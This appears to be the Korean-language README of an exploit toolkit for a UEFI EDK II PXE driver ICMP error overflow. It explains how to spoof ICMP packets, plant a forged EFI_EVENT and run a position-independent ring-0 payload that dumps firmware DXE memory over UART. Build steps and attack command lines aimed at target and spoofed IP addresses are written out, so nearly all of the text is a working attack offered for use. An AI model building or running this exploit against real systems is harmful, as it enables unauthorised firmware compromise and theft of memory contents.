
EDK II UEFI PXE ICMP 오류 오버플로(CVE-2026-97631)를 위한 익스플로잇 도구: 스푸핑된 ICMP 패킷을 생성하고, 위조된 EFI_EVENT를 심고, UART를 통해 DXE 메모리를 덤프합니다.
EDK II PXE Base Code 드라이버 ICMP 오류 오버플로
(NetworkPkg/UefiPxeBcDxe, GHSA-99cj-7hg9-mp4m, CVSS 4.0 9.5)를 위한 도구.
PXE 부팅 중에 드라이버는 ICMP 오류 메시지를 고정된 504바이트
버퍼에 복사합니다. 더 긴 메시지는 해당 버퍼를 넘어 DXE
풀(pool)로 이어지는 선형 쓰기가 됩니다. 쓰기 대상이 버퍼 자체의 주소이기 때문에
페이로드는 위치 독립적입니다. 데이터그램의 i번째 바이트는 &Mode->IcmpError + i에
위치합니다. 오버플로는 위조된 EFI_EVENT를 심습니다. DXE 코어는 정상적인
CoreSignalEvent 경로를 통해 이를 디스패치합니다. 페이로드는 스냅샷에서
이벤트를 복원하고, 운영자가 선택한 메모리 범위를 순회한 뒤, 부팅이 계속되도록
EFI_SUCCESS를 반환합니다.
영향 범위는 펌웨어 자체의 DXE 메모리 내부에 머뭅니다. 플래시 쓰기, 지속성 메커니즘, OS 아티팩트는 없습니다.
include/pxe_layout.h EFI_PXE_BASE_CODE_ICMP_ERROR, IEVENT offsets, wire structs
include/craft.h one packet = one primitive
include/graft.h counterfeit event + payload parameter block
include/layout.h the overflow region (single source of truth)
src/payload.S ring-0 payload: restore, walk ranges, stream out
src/craft.c packet construction, IPv4 + IPv6
src/graft.c IEVENT overlay, parameter block
src/layout.c overflow assembly, shared by sender and simulator
src/main.c pxeinj: sniff xid, probe, send
src/net.c raw L3 transport, DHCP xid sniffer
src/recv.c pxerecv: serial collector, dump + map
sim/sim.c host harness that proves the chain
tools/fw_offsets.py pool offsets from a debug firmware build
페이로드:
as --64 -o build/payload.o src/payload.S
ld -Ttext=0 -e payload_start --oformat elf64-x86-64 -o build/payload.elf build/payload.o
objcopy -O binary --only-section=.text build/payload.elf build/payload.bin
결과는 378바이트이며, 위치 독립적이고 재배치가 없습니다.
송신자와 수신자는 POSIX(AF_PACKET, IP_HDRINCL, termios) 기반이며 Linux에서 make로 빌드됩니다. 시뮬레이터는 Makefile.win을 통해 MSVC로 빌드됩니다:
cl /nologo /W3 /O2 /Iinclude /Fe:build\sim.exe sim\sim.c src\craft.c src\graft.c src\layout.c
build/sim.exe는 가짜 풀 페이지를 매핑하고, 취약한 memcpy가 수행될 위치에 오버플로를 기록하며, 결과로 생성된 IEVENT가 페이로드를 디스패치하는지 확인하고, 페이로드를 실제 기계어 코드로 호출한 뒤 다음을 검증합니다:
레이아웃, ABI, 프레이밍, 패킷 구성에 걸친 26개의 검사입니다. 이는 각 부분이 서로 일치함을 입증합니다. 특정 펌웨어의 풀 주소는 입증하지 않으며, 이는 런타임 할당입니다.
두 가지 모드가 있으며, 순서대로 사용합니다.
Probe: 합법적인 경로만 사용하며, 범위를 벗어난 쓰기는 없습니다.
pxeinj --target 10.0.0.50 --spoof 10.0.0.1 --sniff --probe --send
잘 구성된 504바이트 ICMP 오류. 동일한 스푸핑, 동일한 내장 BOOTP 트랜잭션, 모든 것이 동일하다. 클라이언트가 계속 부팅하면 해당 오류가 수용되었고 취약한 복사 루프에 도달한 것이다. 비파괴적 확인이며 풀 주소가 필요 없다.
Overflow: 세 가지가 존재하기 전까지 빌드를 거부한다: 풀 베이스(tools/fw_offsets.py), 원본 이벤트 바이트(--shadow), 그리고 최소 하나의 범위.
pxeinj --target 10.0.0.50 --spoof 10.0.0.1 --xid 0xdeadbeef \
--pool-base 0x7f12345000 --payload build/payload.bin \
--ranges ranges.txt --shadow shadow.bin --uart 0x3f8 --send
pxerecv -d /dev/ttyUSB0 -o dump.bin -m dump.map
ranges.txt는 한 줄에 하나의 START-END 형식이며, 0x 없이 16진수로 표기합니다. 크기와 시간 예산은 ranges.example.txt를 참고하십시오. v6 오버플로 경로는 비활성화되어 있습니다. 프로브는 v6에서 동작하지만, 패치된 소스에서 v6 복사 경계가 다시 도출될 때까지 쓰기는 동작하지 않습니다.
EFI_SUCCESS를 반환하므로 부팅이 계속 진행됨SignalLink가 자기 일관성을 유지하므로 리스트 순회에서 assert가 발생하지 않음잔여 흔적은 이 버그에 내재된 것입니다. 이벤트가 정상적으로는 신호되지 않을 시점에 신호되었고, 풀 페이지는 dirty 상태로 남으며, 플랫폼이 TPM으로 DXE를 측정하는 경우 PCR 값은 부팅 시작 시점의 값 그대로입니다. 그 이상의 것은 이 버그의 속성이 아닙니다.
--send가 필수이며, 기본값은 드라이 런입니다--pool-base, --payload, --shadow 및 비어 있지 않은 범위 목록 없이는 빌드를 거부합니다. 각 항목은 추측할 경우 펌웨어를 손상시키는 특정한 방식이 있으므로 어느 것도 선택 사항이 아닙니다--shadow는 예상 오프셋에 EFI_EVENT 시그니처가 있어야 하며, 이는 0으로 채워진 파일과 잘못된 --event-off를 디스패치 시점이 아닌 한 번의 검사로 잡아냅니다Mode->IcmpError의 풀 주소는 런타임 할당이며 펌웨어 빌드마다 다릅니다. 링크 맵에서 도출할 수 없습니다. tools/fw_offsets.py는 오프셋을 제공하지만, 베이스는 대상 펌웨어에서 측정해야 하며, 예를 들어 DEBUG_POOL 트레이스에서 얻은 뒤 캐시해야 합니다.sizeof(EFI_PXE_BASE_CODE_MODE)와 offsetof(..., IcmpError)는 edk2 릴리스 간에 변경됩니다. tools/fw_offsets.py의 기본값은 출발점일 뿐 신뢰할 값이 아닙니다.DpcHandle 함수를 읽어 보십시오.CoreSignalEvent가 이를 순회하게 됩니다. 이러한 이유로 도구는 --shadow 없이는 빌드를 거부합니다.